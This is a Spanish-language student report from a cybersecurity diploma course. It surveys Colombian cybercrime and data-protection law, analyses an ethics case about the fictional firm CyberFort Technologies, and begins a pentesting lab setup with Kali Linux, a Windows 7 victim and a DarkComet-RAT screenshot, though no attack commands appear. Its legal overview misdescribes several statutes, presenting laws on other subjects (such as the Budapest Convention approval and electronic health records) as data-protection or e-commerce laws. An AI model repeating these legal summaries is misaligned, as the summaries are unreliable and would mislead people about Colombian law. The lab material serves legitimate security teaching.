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Resumen

En un contexto digital en constante evolucion, la ciberseguridad se ha vuelto fundamental
para proteger los sistemas y datos criticos de las organizaciones. Este documento se centra en el
papel de las herramientas y servicios especializados en ciberseguridad, primero analizando la
legislacion colombiana en materia de ciberseguridad, segundo analizar las implicaciones éticas y
legales y por Gltimo analizar que es pentesting para posterior realizar en el ambito de las pruebas
de penetracion (pentesting) y la evaluacion de vulnerabilidades dentro de los escenarios
entregados en este diplomado por la empresa CyberFort Technologies. Se analizan herramientas
esenciales como Metasploit, Nmap y OpenVAS, que permiten a los profesionales de la seguridad
en Red Team y Blue Team identificar y explotar vulnerabilidades en redes y sistemas y buscar la

mitigacion de estas.

Las empresas de ciberseguridad, al realizar auditorias, tienen acceso a informacion
confidencial de sus clientes. Este acceso debe ser cuidadosamente regulado y supervisado para
evitar el uso indebido o explotacion de la informacion, como ocurrié en el caso de CyberFort
Technologies. La implementacion de mecanismos de control, como la segmentacion de
funciones y auditorias independientes, es esencial para prevenir abusos y garantizar que la

informacidn sea utilizada solo para los fines autorizados.

Lo anterior nos permite identificar y exponer las debilidades o fallos de seguridad en un

sistema informatico al simular ataques cibernéticos. Los desafios en seguridad informatica



permiten utilizar métodos y técnicas conocidas como "técnicas de intrusion" para tratar de
penetrar en un sistema de la misma manera que lo haria un equipo de Red Team y mecanismos

de defensa que se emplearian para mitigar las intrusiones como un equipo blue Team lo haria.

Palabras clave: Ciberseguridad, Intrusion, Pentesting



Tabla de contenido

(€] [0 T ISR 7
INEFOAUCCION ...ttt sttt b e bbb b ene e 10
JUSTITICACION. ...t ettt b et ne e 12
ODJELIVO GENETAL ...t e e e re e e sre et 13
ODbjJetiVOS ESPECITICOS ..o.viieiiiiiiie e e 13
Desarrollo del INTOIME ......oc.voiee e e 15

Guia de actividades y rabrica de evaluacion — Etapa 1 Conceptos equipos de Seguridad 15

Guia de actividades y rubrica de evaluacion — Etapa 2 Actuacion éticay legal............... 21
Guia Unidad 2 Fase 3 -Ejecucion de pruebas de intrusion ............ccccoceeveiveeveevecveseenns 34
Desarrollo del PUNTO 2.......cveieeee e e 41
Desarrollo del PUNTO 3.......c.oiei e 42
Desarrollo del PUNTO 4..........ooviiiiiiee e 44
Unidad 3 - Etapa 4 Contencidn de ataques informaticos ..........ccocooveveieniieincnieneeeee, 50
CONCIUSTONES ...ttt b et b et se et e et st e nbeetesneesbeenee s 71
RETEIBNCIAS ...ttt sbe et reesbe e e 74

AANIEXOS .o e ettt e e ettt e eeeeeeteee— e teeeeetetee—t—arteeeteteent—ateeeeeteen i raeaaarerans 76



Lista de Figuras

[lustracion 1 VirtualBox 7.0, fuente propia (2024)........ccccoveereinieneneienesieesese e 34
[lustracion 2- Kali Linux, funte propia (2024).........cccooeieiiiiinienenesesieesese e 35
[lustracion 3 -Windows 7, fuente propia (2024) ..o 35
[Hustracion 4- DarkCOmMECt-RAT ......cooiiiieeie bbb 36
[lustracion 5- Nuevo Proyecto GNS3, fuente propia (2024) ........ccocoeeivrenernenennieneens 36
[lustracion 6- Red GNS3, fuente propia (2024) ........cccocereiiirennieneeeseseese e 37
[lustracion 7- Ip GNS3, fuente propia (2024) ........cceeeereieeiieieieseeese e 37
[lustracion 8- Ip Kali Linux, fuente propia (2024).........ccooeireeineneieneneseseeeese e 38
[lustracion 9- Ip Windows 7, fuente propia (2024).........ccooueereeieneneieneneesese e 38
[lustracion 10- Scaneo nmap, fuente propia (2024) .........ccoveevereienineieneneesese e 39
[lustracion 11-nmap vulnerabilidades, fuente propia (2024) ........ccccoevveieiieieieineens 40
[lustracion 12 - nmap vulnerabilidades, fuente propia (2024) .........ccoceoveieiienencinneens 40
[lustracion 13- Legion, fuente propia (2024) ........ccooeiereieiieneieseeese e 42
[lustracion 14- Legion servicio Darcomet, fuente propia (2024).........cccocevcevivienecennnns 43
[lustracion 15- Nmap puerto 1608, fuente propia (2024) ........ccccooevereeneneineieneeneens 43
[lustracion 16 -Metasploit, fuente propia (2024) .........ccoeieiieneiineneese e 44
llustracion 17- Utilizando el exploit, fuente propia (2024)...........ccoovviviiieienencneneninn 45
llustracion 18-Corriendo vulnerabilidad, fuente propia (2024) .........cccooeveiiiencicnnnnnn. 46
llustracion 19- Creacion de usuario Windows 7, fuente propia (2024) .........ccccccevvrenenee 47
llustracion 20- Usuario creado Windows 7, fuente propia (2024).........ccocevereneneniennnnn 47

llustracion 21- Escalada de privilegios, fuente propia (2024) .........cccocevvveiiiencnenennenn 48



llustracion 22- creacién usuario Windows, fuente propia (2024)........ccccceeceevveiveviesnenn. 48
llustracion 23- Creando privilegios, fuente propia (2024)........cccccevvevievveieiieeseese e 49
llustracion 24- Usuario Administrador Windows, fuente propia (2024) ........cccccceeeveenee. 49
llustracion 25 - Activar Firewall, fuente propia (2024) ........cccoeviveveiieiveie e 51
llustracion 26 - Crear Contrasefias, fuente propia (2024) .........cccovveveivevvecesiieseese s 53
llustracion 27 - Informe Autopsy, fuente propia (2024) .........ccceevveveiievvece e 55
llustracidn 28 - Cambios en la Red, fuente propia (2024) ........c.ccoeveivievveie i 57

llustracidn 29 - Pfsense, fuente propia (2024) ........ccceeeeieeveiieeie e 59



Glosario

Auditoria de seguridad: Proceso de evaluacion de la infraestructura digital de una
organizacion con el objetivo de identificar vulnerabilidades, amenazas y riesgos, con el

fin de mejorar la seguridad y proteger la informacién confidencial.

Backdoor: Puerta trasera. Programa o dispositivo que permite acceder a un sistema de

forma oculta.

Blue Team: Equipos que realiza un andlisis de sistemas de informacion para garantizar la
seguridad, identificar fallas de seguridad, verificar la efectividad de cada medida de
seguridad y asegurarse de que todas las medidas de seguridad continten siendo efectivas

después de la implementacion.

Ciberseguridad: Conjunto de préacticas y tecnologias destinadas a proteger sistemas,

redes y datos de ataques cibernéticos.

COPNIA: Consejo Profesional Nacional de Ingenieria de Colombia. Es la entidad que
regula el ejercicio de la ingenieria en el pais y establece un codigo de ética para los
ingenieros, exigiendo responsabilidad, integridad y transparencia en sus actividades

profesionales.

CVE (Common Vulnerabilities and Exposures): Sistema de identificacion estandar
para vulnerabilidades de seguridad en software y hardware, que proporciona

identificadores Unicos para cada vulnerabilidad.



Explotacidn: Accion de aprovechar una vulnerabilidad para obtener acceso no

autorizado a un sistema

ExploitDB: Base de datos en linea que contiene una coleccién de exploits y pruebas de
concepto para vulnerabilidades conocidas, Gtil para investigadores y profesionales de la
seguridad.

Kali Linux: Distribucion de Linux especializada en pruebas de penetracion, que incluye

una amplia gama de herramientas para hacking ético.

Escalada de privilegios: Proceso de obtener mayores privilegios dentro de un sistema

comprometido, como pasar de un usuario normal a un administrador.

Ley 1273 de 2009 (Colombia): Legislacion colombiana que regula y sanciona los delitos
informaticos y la proteccion de la informacion en medios digitales, estableciendo
penalidades para actos como el acceso abusivo a sistemas informaticos, interceptacion de

datos, y dafio a la informacion.

Ingenieria social: Técnica que manipula a las personas para que revelen informacion

confidencial o realicen acciones que beneficien al atacante.

Hacking ético: Practica de utilizar las mismas técnicas que los hackers
malintencionados, pero con fines autorizados y legales, para identificar y corregir

vulnerabilidades.

Nmap: Herramienta de red utilizada para descubrir hosts y servicios en una red, asi como

para detectar vulnerabilidades.



Metasploit: Framework de explotacion que permite a los pentesters identificar y explotar

vulnerabilidades en sistemas remotos.
Malware: Software malicioso disefiado para causar dafio a un sistema informatico.

OpenVAS: Sistema de evaluacion de vulnerabilidades de codigo abierto que permite
realizar analisis de seguridad en redes y aplicaciones, generando informes sobre los

problemas identificados

Pentesting: Prueba de penetracion. Consiste en simular un ataque cibernético a un

sistema informaético para identificar vulnerabilidades y evaluar su seguridad.

Red Team: Estrategia de seguridad en la que un equipo simula ataques cibernéticos

contra otro equipo que defiende la red.

Vulnerabilidad: Debilidad o fallo en un sistema que puede ser explotado por un

atacante.

Vulnerabilidad cero-day: Vulnerabilidad desconocida para el proveedor del software y

para el publico en general.

VirtualBox: Software de virtualizacién que permite ejecutar maltiples sistemas

operativos en una sola maquina fisica.
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Introduccion

las empresas que ofrecen servicios de auditoria y proteccion de datos manejan informacion
altamente sensible de sus clientes. Esta relacion implica un nivel elevado de confianza, ya que la
informacion expuesta durante estos procesos puede incluir detalles criticos sobre infraestructuras,
politicas internas, e incluso datos estratégicos de defensa, como fue el caso del incidente reportado
en CyberFort Technologies. En este contexto, es esencial que las empresas y sus empleados operen
con el mas alto estandar ético y legal, cumpliendo con las normativas nacionales e internacionales
que regulan la proteccion de la informacidon y los delitos cibernéticos. Sin embargo, la explotacion
indebida del acceso privilegiado, como el uso de herramientas avanzadas de analisis forense con
fines no autorizados o la venta de informacion confidencial, puede derivar en graves violaciones

de la confianza, afectando tanto a los clientes como a la integridad de la industria.

En el dinamico panorama de la ciberseguridad, las pruebas de penetracidn (pentesting) se han
convertido en una herramienta indispensable para evaluar la postura de seguridad de los sistemas
informaticos. Al simular ataques reales, los pentesting permiten identificar vulnerabilidades y

debilidades antes de que sean explotadas por actores maliciosos.

En este ejercicio préactico iniciaremos con un analisis de la normatividad colombiana vigente, para
posteriormente hacer un andlisis de las actuaciones éticas y legales, con esta informacion podemos
proceder con un entorno virtualizado con VirtualBox para llevar a cabo un pentesting basandonos

en un equipo Red Team, para este ejercicio no hemos enfocado en una maquina Windows 7
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infectada con el malware hipotético "Rejjeto”. Utilizando Kali Linux, una distribucién de Linux
especializada en pruebas de penetracion, exploraremos las diferentes fases de un ataque

cibernético, desde la recopilacion de informacion hasta la obtencion y escalada de privilegios.

Con el analisis anterior no es posible identificar y exponer las debilidades o fallos de seguridad en
un sistema informatico, esto nos brindara la oportunidad de aplicar conocimientos teoricos y
préacticos en un entorno controlado, permitiendo desarrollar habilidades en diversas técnicas de
hacking ético. Es decir, como expertos en seguridad informética utilizan una serie de métodos y

técnicas (conocidas como "técnicas de intrusion™).

En este escenario de laboratorio y ya con el informe de la intrusion, nos permite como equipo Blue
Team iniciar las técnicas y medidas que nos permitirdn mitigar las vulnerabilidades y fallos

presentados por el equipo Red Team.
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Justificacion

El presente documento busca fomentar el desarrollo de habilidades como lo es el andlisis de
documentacion legal colombiana en materia de ciberseguridad y su componente ético y moral y el
analisis de vulnerabilidades, explotacion de vulnerabilidades, escalada de privilegios Yy
documentacion de hallazgos, en aras de poder mitigar las vulnerabilidades encontradas y
posteriormente buscar una posible preparacion para certificaciones para obtener certificaciones en
seguridad informéatica como Certified Ethical Hacker (CEH), Offensive Security Certified

Professional (OSCP), entre otras.



13

Obijetivos

Objetivo general

El objetivo principal de este pentesting es evaluar la seguridad de una maquina Windows
7 infectada con un malware, identificando las vulnerabilidades presentes y posteriormente

evaluar la efectividad de las medidas de seguridad implementadas.

Objetivos especificos

e Identificar los riesgos éticos y legales asociados al acceso a informacion confidencial
durante auditorias de seguridad en empresas de ciberseguridad, basandose en incidentes
como el de CyberFort Technologies

e Implementar herramientas de evaluacion de vulnerabilidades como Nmap, Legiény
Metasploit para identificar, analizar y explotar debilidades en redes y sistemas,
garantizando una evaluacién integral de la seguridad.

e Recopilar informacion sobre la maquina victima (Windows 7) a través de técnicas de
reconocimiento activo y pasivo.

e Identificar los servicios en ejecucion y los puertos abiertos en la maquina victima

e Explorar vulnerabilidades conocidas en Windows 7 y en los servicios en ejecucion.

e Intentar obtener acceso a la maquina victima explotando las vulnerabilidades
identificadas.

e Buscar formas de obtener privilegios de administrador.
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e Identificar las mejores practicas para la establecer la mitigacion de estas vulnerabilidades.
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Desarrollo del Informe

Guia de actividades y rubrica de evaluacion — Etapa 1 Conceptos equipos de

Seguridad

Dentro del aparte importante nos solicitan que dentro del margen legal en Colombia sobre delitos
informaticos y proteccién de datos personales redacte con sus propias palabras que legislacion

“leyes, decretos” existen actualmente y las caracteristicas principales de cada ley.

Ley 1273 de 2009

Esta ley es pionera en Colombia en la lucha contra los delitos informéticos. Establece una categoria
especial de delitos llamada "delitos contra la confidencialidad, la integridad y la disponibilidad de

la informacion y de los sistemas informéticos™ Entre sus principales caracteristicas estan:

o Proteccion de datos: Penaliza el acceso, uso, eliminacién o modificaciéon no autorizada

de datos personales y sistemas informaticos.

o Ciberdelitos: Tipifica acciones como el acceso abusivo a sistemas informaticos, la
interceptacion de datos, la utilizacion de software malicioso (como virus) y el fraude

informatico.
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e Sanciones: Establece sanciones penales que pueden incluir multas y penas privativas de

la libertad dependiendo de la gravedad del delito.

« Pilar fundamental: Esta ley es considerada el punto de partida para la regulacion de los

delitos informéticos en Colombia.

« Nuevos tipos penales: Introdujo nuevos tipos penales relacionados con la proteccion de
la informacion y los datos, como el acceso abusivo a sistemas informaticos, la

interceptacion de datos y la destruccién de informacién.

e Bien juridico tutelado: Cre6 un nuevo bien juridico tutelado: la proteccion de la

informacién y los datos.

Ley Estatutaria 1581 de 2012

También conocida como la Ley de Proteccion de Datos Personales, esta ley establece el marco
normativo general para el manejo, almacenamiento y proteccion de datos personales en

Colombia.

Algunas de sus principales caracteristicas son:

e Principios de proteccion de datos: Los datos personales deben ser tratados con
principios como legalidad, finalidad, libertad, veracidad, transparencia, acceso

restringido, seguridad y confidencialidad.
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o Derechos de los titulares: Las personas tienen el derecho de conocer, actualizar y

rectificar la informacidn que las empresas o instituciones manejan sobre ellas.

« Responsabilidad de los responsables del tratamiento: Empresas e instituciones deben
garantizar la confidencialidad de los datos y obtener el consentimiento previo y explicito

de los titulares antes de recolectar o tratar su informacion.

e Registro Nacional de Bases de Datos: Las empresas y entidades publicas que manejen
grandes volumenes de datos deben inscribir sus bases de datos ante la Superintendencia

de Industria y Comercio.

e Principios: Establece principios como la finalidad, la calidad, la libertad, la

transparencia, el acceso y la seguridad en el tratamiento de los datos.

o Autoridad de control: Crea la Superintendencia de Industria y Comercio como la

autoridad de control encargada de velar por el cumplimiento de la ley.

Decreto 1377 de 2013 - Reglamentario de la Ley 1581 de 2012

Este decreto reglamenta aspectos practicos de la Ley 1581 de 2012. Enfoca sus disposiciones en
el manejo adecuado de la informacion personal, estableciendo obligaciones mas claras para las

empresas e instituciones que tratan estos datos.

Algunas caracteristicas clave incluyen:
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« Obtencion de consentimiento: Precisa como debe solicitarse y documentarse el

consentimiento de los titulares de los datos.

« Politicas de privacidad: Requiere que las empresas establezcan politicas internas de

proteccion de datos, que deben estar disponibles para los titulares.

o Plazos para la actualizacion de datos: Define los plazos y procedimientos para

actualizar, rectificar o suprimir datos cuando asi lo solicite el titular.

Ley 1928 de 2018 - Proteccion frente a la utilizacion indebida de datos personales en bases

de datos

Con el auge de las plataformas digitales y las bases de datos masivas, esta ley refuerza las
medidas de control para prevenir el uso indebido de datos personales. Su foco principal es la
proteccion frente al uso no autorizado de datos para actividades comerciales o de mercadeo, sin

el consentimiento del titular.

Decreto 886 de 2014 - Habeas Data Financiero

Este decreto reglamenta aspectos especificos del manejo de datos personales relacionados con la
informacidn crediticia y financiera, enfocandose en la proteccién de los derechos de los

consumidores en relacion con sus datos financieros. Las principales caracteristicas son:
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¢ Rectificacién de informacioén financiera: Los usuarios tienen derecho a solicitar la

correccion de informacién inexacta sobre su historial crediticio.

o Plazos para la permanencia de datos: Regula cuanto tiempo puede permanecer la

informacion negativa en las bases de datos de las centrales de riesgo.

Ley 2108 de 2021 - Ley de ""Habeas Data"

Esta ley fortalece el derecho de las personas a acceder, actualizar y rectificar la informacion que
sobre ellas exista en bases de datos, con énfasis en proteger los datos sensibles (como los

relativos a la salud, religién, vida sexual, entre otros).

Ley 2015 de 2020 - Transacciones Electrénicas y Comercio Electronico

Si bien no esta centrada exclusivamente en delitos informaticos o proteccién de datos, esta ley
aborda aspectos sobre la seguridad en las transacciones electronicas, impulsando una mayor
regulacién sobre los sistemas de pago electronico y la necesidad de medidas preventivas para

evitar fraudes cibernéticos.
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Otras leyes y decretos relevantes

« Cddigo Penal: Contiene disposiciones penales relacionadas con delitos informaticos,

complementando lo establecido en la Ley 1273 de 2009.

o Decretos reglamentarios: Existen diversos decretos que reglamentan las leyes

mencionadas, estableciendo procedimientos y requisitos especificos.
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Guia de actividades y rubrica de evaluacion — Etapa 2 Actuacion ética y legal

Se establecieron varios puntos a tratar de los cuales se discutieron de la siguiente manera:

1. ¢Unavez leido el anexo 2 —escenario 2 y el anexo 3 - Acuerdo usted logra evidenciar algin
proceso ilegal y no ético que se esté estipulando en dicho acuerdo? Debera argumentar su
respuesta y sefialar los fragmentos ilegales del anexo acuerdo en caso de existir alguna

irregularidad.

Si la respuesta es afirmativa y usted encontré algin proceso ilegal en el anexo 3 — Acuerdo:
acuerdo, debera mencionar que articulos de la ley 1273 se podrian vulnerar en dicho acuerdo y

especificar porqué vulnera articulos de la ley 1273.

El acuerdo de confidencialidad proporcionado menciona varias clausulas que parecen restringir la
denuncia de procesos ilegales o actividades sospechosas. Estas restricciones podrian vulnerar
ciertos articulos de la Ley 1273 de 2009 de Colombia, que se refiere a la proteccion de la
informacion y los datos en medios informaticos y sanciona conductas relacionadas con ataques a

la integridad de los sistemas de informacion.

A continuacion, se detallan algunos articulos que podrian estar siendo vulnerados:
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Articulo 269A: Acceso abusivo a un sistema informatico. EIl que, sin autorizacion o por fuera de
lo acordado, acceda en todo o en parte a un sistema informatico protegido o no con una medida de
seguridad, o se mantenga dentro del mismo en contra de la voluntad de quien tenga el legitimo
derecho a excluirlo, incurrira en pena de prision de cuarenta y ocho (48) a noventa y seis (96)

meses y en multa de 100 a 1.000 salarios minimos legales mensuales vigentes.

El acuerdo menciona que la parte receptora en el punto 3, 4 y punto 9 (Anexo 3 - Acuerdo), no
puede denunciar actividades como "espionaje o cualquier otro proceso en el cual intervenga la
apropiacion de informacién de terceros" o ilegal. Si estas actividades implican acceso no
autorizado a sistemas informaéticos, el acuerdo podria estar promoviendo la omision de una

obligacion legal de denuncia, lo que contravendria el articulo 269A de la Ley 1273.

Articulo 269C: Interceptacion de datos informaticos. El que, sin orden judicial previa intercepte
datos informaticos en su origen, destino o en el interior de un sistema informatico, o las emisiones
electromagnéticas provenientes de un sistema informatico que los transporte incurrira en pena de

prision de treinta y seis (36) a setenta y dos (72) meses.

El acuerdo prohibe la divulgacion de "datos de chuzadas, interceptacion de informacion"clausula
2 punto 2 (Anexo 3 - Acuerdo). Si la parte receptora tiene conocimiento de actividades de
interceptacion ilegal de datos y se le impide denunciarlo, esto estaria en conflicto directo con la
obligacion de reportar este tipo de conductas bajo la Ley 1273, en particular el articulo que

sanciona la interceptacion de datos sin autorizacion.
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Articulo 269D: Dafio Informatico. El que, sin estar facultado para ello, destruya, dafie, borre,
deteriore, altere o suprima datos informaticos, o un sistema de tratamiento de informacion o sus
partes o componentes ldgicos, incurrird en pena de prision de cuarenta y ocho (48) a noventay seis

(96) meses y en multa de 100 a 1.000 salarios minimos legales mensuales vigentes.

Aunque no se menciona explicitamente, si el acuerdo encubre procesos ilegales dentro de la
empresa que pudieran causar dafios a sistemas informéaticos o afectar la integridad de la
informacion, la omision de denunciar dichas actividades podria contribuir indirectamente a la

vulneracion de este articulo.

Articulo 269E (Uso de software malicioso):

Si el acuerdo cubre actividades relacionadas con el uso o desarrollo de software malicioso (como

malware), la prohibicion de denuncia también podria ser una infraccidn de este articulo.

En resumen, el acuerdo intenta restringir la denuncia de actividades potencialmente ilegales, lo
que podria estar vulnerando la Ley 1273 en varios aspectos, especialmente en lo que respecta a la
proteccién de la integridad de los sistemas informaticos y la obligacion de reportar conductas

ilicitas que afectan a la seguridad informatica.
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Desarrollo del punto 2 Etapa 2 Actuacion ética y legal

2. ¢Existiendo procesos poco confiables en el anexo 3 — Acuerdo, ¢usted como experto en
ciberseguridad aplicaria a este trabajo en CyberFort Technologies, donde la organizacion

dispone de un contrato vitalicio?

Debe argumentar su respuesta ya sea afirmativa o negativa y tener en cuenta en la argumentacion

que dispone COPNIA en su cddigo de ética para ingenieros.

Como experto en ciberseguridad, no recomendaria aplicar a este trabajo en CyberFort
Technologies, debido a los aspectos poco confiables del acuerdo presentado, incluso con la oferta
de un contrato vitalicio. El acuerdo contiene varias clausulas que podrian limitar la ética
profesional y la obligacién de denunciar practicas ilegales o inseguras, como la prohibicion de

denunciar espionaje o la apropiacion de informacion confidencial e ilegal (Anexo 3 - Acuerdo).

El Cadigo de Etica de COPNIA para ingenieros establece principios claros de responsabilidad,
transparencia y proteccion del interés pablico. Segun el articulo 33 del cddigo, un ingeniero debe
"abstenerse de actuar en circunstancias en las cuales el ejercicio profesional pueda verse
comprometido por restricciones ilegales o contrarias a la ética profesional." Ademas, el articulo
34 recalca la responsabilidad de un ingeniero de proteger la informacion confidencial, pero

siempre bajo los principios de ética y legalidad.
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El acuerdo en cuestion no solo contraviene principios fundamentales de seguridad de la
informacidn, sino que también limita la denuncia de actividades ilegales, lo cual podria poner en
riesgo la reputacion del profesional y exponerlo a implicaciones legales. Aceptar una posicion en
estas condiciones no solo comprometeria mi integridad profesional, sino que también podria ser

incompatible con los valores éticos estipulados por COPNIA.

Desarrollo del punto 3 Etapa 2 Actuacion ética y legal

3. Debera analizar el caso problema “Ciberespionaje y Etica en CyberFort Technologies”
(Anexo 7 - Escenario 2), redactar su punto de vista teniendo en cuenta las implicaciones

legales y éticas que alli se pudieron generar y dar respuesta los siguientes interrogantes:

El incidente descrito en CyberFort Technologies, donde empleados utilizaron su acceso
privilegiado para recopilar y vender informacion confidencial durante una auditoria de seguridad,
plantea serias implicaciones tanto legales como éticas. Este tipo de situaciones puede erosionar la
confianza no solo entre las empresas de ciberseguridad y sus clientes, sino también en todo el

ecosistema de seguridad digital.

¢Hasta qué punto las empresas de ciberseguridad deben tener acceso a informacion
sensible de sus clientes durante una auditoria de seguridad, y como se puede garantizar que

este acceso no sea explotado de manera indebida?
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Las empresas de ciberseguridad, durante una auditoria, deben tener acceso a informacion sensible
para identificar vulnerabilidades y mitigar riesgos. Sin embargo, este acceso debe estar
estrictamente limitado y supervisado. EIl propoésito debe ser claro: proteger, no explotar. La
confianza entre cliente y proveedor se basa en el principio de que la informacién sensible sera
utilizada Unicamente para los fines especificados y no serd explotada para beneficio propio o

terceros, como ocurrié en el caso de CyberFort (Anexo 7 - Escenario 2).

Para garantizar que este acceso no sea explotado, se deben implementar estrictos acuerdos de
confidencialidad, ademas de auditorias internas y externas independientes que aseguren que el
acceso se usa exclusivamente para lo que fue autorizado. Cualquier desviacion de estas normas
podria generar violaciones a leyes como la Ley 1273 de 2009 de Colombia, que regula los delitos

informaticos, como el acceso abusivo a sistemas y la interceptacion de datos

¢ Qué mecanismos de supervision y control deberian implementarse en las empresas de
ciberseguridad para evitar que sus empleados utilicen herramientas avanzadas de analisis

forense con fines no autorizados o éticamente cuestionables?

Las empresas de ciberseguridad deben contar con mecanismos de supervision robustos para

evitar que los empleados utilicen herramientas avanzadas de andlisis forense esto otorga a las
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empresas de ciberseguridad un poder considerable para investigar incidentes y proteger los

sistemas con fines no autorizados o poco éticos. Estos mecanismos pueden incluir:

o Control de accesos y monitoreo en tiempo real: Se debe restringir quién puede acceder

a datos sensibles y cdmo se accede a ellos, con sistemas que registren toda la actividad.

o Revision y auditoria por terceros: Evaluaciones externas que verifiquen que las

herramientas y el acceso se utilicen de manera legitima.

e Separacion de funciones: Ningn empleado debe tener acceso completo o sin
supervision a todas las herramientas o datos. Este tipo de segmentacion minimiza el

riesgo de abuso.

Programas de concienciacion ética y responsabilidad: Formacion constante en ética profesional y
responsabilidad para los empleados, basada en codigos como los de COPNIA, que enfatizan la

integridad en la profesion.

Mecanismos clave:

1. Politicas y Procedimientos Claros:
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Politica de uso aceptable: Definir claramente los usos permitidos y prohibidos de las
herramientas, incluyendo restricciones sobre el acceso a datos, la realizacion de analisis

no autorizados y la divulgacién de informacion confidencial.

Procedimientos operativos estdndar (SOP): Establecer procedimientos detallados para
el uso de las herramientas, incluyendo la autorizacién de analisis, la documentacién de

los hallazgos y la gestion de las evidencias.

2. Supervision Humana y Tecnoldgica:

Monitoreo de actividad: Implementar sistemas de monitoreo que registren el acceso a

las herramientas, las consultas realizadas y las acciones llevadas a cabo.

Anélisis de logs: Revisar periddicamente los logs para detectar patrones de uso inusuales

0 actividades sospechosas.

Auditorias internas: Realizar auditorias internas regulares para evaluar el cumplimiento

de las politicas y procedimientos, e identificar posibles vulnerabilidades.

3. Gestion de Acceso:

Control de acceso basado en roles (RBAC): Otorgar a cada empleado solo los permisos

necesarios para realizar sus tareas.

Autenticacion de dos factores: Exigir una autenticacion de dos factores para acceder a

las herramientas y sistemas sensibles.
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« Registro de acceso: Mantener un registro detallado de todos los accesos a las

herramientas y sistemas.

4. Formacion y Concienciacion:

o Capacitacion continua: Impartir formacion regular a los empleados sobre ética
profesional, privacidad de datos y las implicaciones legales del uso indebido de las

herramientas.

o Cddigos de conducta: Establecer cddigos de conducta claros que reflejen los valores de

la empresa y las expectativas en materia de ética profesional.

5. Tecnologias de Prevencion:

o Deteccion de anomalias: Utilizar herramientas de deteccién de anomalias para

identificar comportamientos inusuales en los sistemas.

« Sistemas de prevencion de intrusiones (IPS): Implementar IPS para proteger las

herramientas y los sistemas contra ataques externos.

e Encriptacion de datos: Proteger los datos sensibles mediante encriptacion.

6. Mecanismos de Denuncia:
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o Canales andnimos: Establecer canales seguros y andénimos para que los empleados

puedan denunciar posibles irregularidades.

e Proteccion a denunciantes: Garantizar la proteccion de los denunciantes contra

represalias.

7. Evaluaciones de Riesgo:

o Andlisis de riesgos: Realizar evaluaciones de riesgo periddicas para identificar las

amenazas potenciales y tomar las medidas necesarias para mitigarlas.

8. Colaboracién con Fuerzas del Orden:

« Comunicacion abierta: Establecer canales de comunicacién claros con las fuerzas del

orden para reportar cualquier actividad criminal.

¢ Como deberian responder los gobiernos y organizaciones cuando descubren que una
empresa de ciberseguridad contratada ha cometido actos de ciberespionaje? ¢ Cuales serian

las medidas adecuadas para restaurar la confianza y asegurar que no ocurra nuevamente

Cuando se descubre que una empresa de ciberseguridad ha cometido actos de ciberespionaje, los
gobiernos y organizaciones deben actuar rapidamente para restaurar la confianza. Algunas

medidas apropiadas incluyen:
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Rescision inmediata del contrato y sanciones legales: La violacién de la confidencialidad y la
comision de ciber espionaje deben ser perseguidas judicialmente, con sanciones acordes a la

legislacion vigente, tanto penal como civil.

e Investigacidn exhaustiva: Es esencial llevar a cabo una investigacion independiente y
transparente para determinar el alcance del ciber espionaje, identificar a los responsables

y comprender los motivos detras de estos actos.

Comunicacion abierta: Informar de manera clara y transparente a todas las partes
involucradas, incluyendo al pablico en general, sobre los hallazgos de la investigacion y las

medidas que se estan tomando.

Terminacién del contrato: Rescindir de inmediato el contrato con la empresa implicada

y prohibirle participar en futuros proyectos gubernamentales o corporativos.

Sanciones legales: Aplicar las sanciones legales correspondientes a la empresa y a los

individuos involucrados, segun las leyes y regulaciones vigentes.

Divulgacién transparente: Informar de manera clara y abierta sobre lo ocurrido y las

medidas tomadas puede ayudar a restaurar la confianza de otros clientes y partes interesadas.

o Revisidn de los procesos de contratacion: Implementar mecanismos mas rigurosos para
evaluar y seleccionar a las empresas de ciberseguridad, incluyendo verificaciones de

antecedentes, auditorias de seguridad y evaluaciones de cumplimiento normativo.
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Fortalecimiento de las medidas de seguridad: Aumentar las inversiones en seguridad
cibernética, tanto a nivel gubernamental como organizacional, para proteger los sistemas y datos

sensibles.

e Mayor transparencia: Promover la transparencia en las operaciones de las empresas de
ciberseguridad y exigirles que cumplan con estandares internacionales de ética y

seguridad.

e Colaboracién internacional: Fomentar la cooperacion entre los gobiernos y
organizaciones internacionales para establecer normas y estandares comunes en materia

de ciberseguridad y prevenir futuros incidentes de este tipo.

« Educacion y concienciacion: Impartir capacitacion a los empleados sobre las mejores
practicas de seguridad cibernética y concienciar a la poblacion sobre los riesgos del ciber

espionaje.

Implementacion de controles mas estrictos: Las organizaciones deben revisar sus politicas de
contratacion y auditoria de terceros, reforzando los requisitos de seguridad y supervision para

evitar que situaciones similares se repitan.

e Supervision continua: Establecer mecanismos de supervision y auditoria regulares para
las empresas de ciberseguridad contratadas, con el fin de detectar cualquier actividad

sospechosa.



e Requisitos de certificacion: Exigir a las empresas de ciberseguridad que obtengan
certificaciones reconocidas en el sector y que demuestren su compromiso con la

seguridad.

e Creacion de un marco regulatorio: Desarrollar un marco regulatorio solido y
actualizado que establezca los requisitos minimos de seguridad para las empresas de

ciberseguridad y que imponga sanciones severas por el incumplimiento de las normas.

Reparacion y compensacion: Ofrecer una compensacion adecuada por los dafios
causados, tanto econdmicos como reputacionales, y tomar medidas concretas para mitigar los

efectos del espionaje.

33
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Guia Unidad 2 Fase 3 -Ejecucion de pruebas de intrusion

Describa de manera especifica las herramientas software que utilizé para llevar a cabo el
anexo 4 — escenario 3 enfocado a Red Team. Debera adjuntar evidencia de los comandos
utilizados y resultados que arroj6 cada herramienta utilizada, estas herramientas deben

estar clasificadas segun los pasos de un pentesting.
Pasos del Pentesting

A. Configuracion del Entorno:

e Instalacidon de VirtualBox: Se realiza la instalacion del VirtualBox en su Ultima version.

VirtualBox

7.0

Interfaz Grafica de Usuario de VirtualBox
Versién 7.0.10 r158379 (Qt5.15.2)
Copyright © 2023 Oracle and/or its affiliates.

Cerrar

llustracion 1 VirtualBox 7.0, fuente propia (2024)

e Creacidon de maquinas virtuales:



35

e Maquina atacante (Kali Linux): Se configura una maquina virtual con Kali Linux como
sistema operativo.

kals =

tam § 06Nov,19:36 ©

lustracion 2- Kali Linux, funte propia (2024)

e Maquina victima (Windows 7): Se Instala Windows 7 y se simula la infeccién con
"Rejjeto".

0736 pam.
06/11/2024

& O [ [ o)

lHustracion 3 -Windows 7, fuente propia (2024)

Una vez instalado el servicio se procede a abrir el programa que se utiliza con un servidor de
archivos HTTP File Server que nos abre un puerto determinado o que se modificar de acuerdo con
lo mostrado en la figura
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s no pudo activarse % *
en este mensaje para obtener mé

llustracion 4- DarkComect-RAT

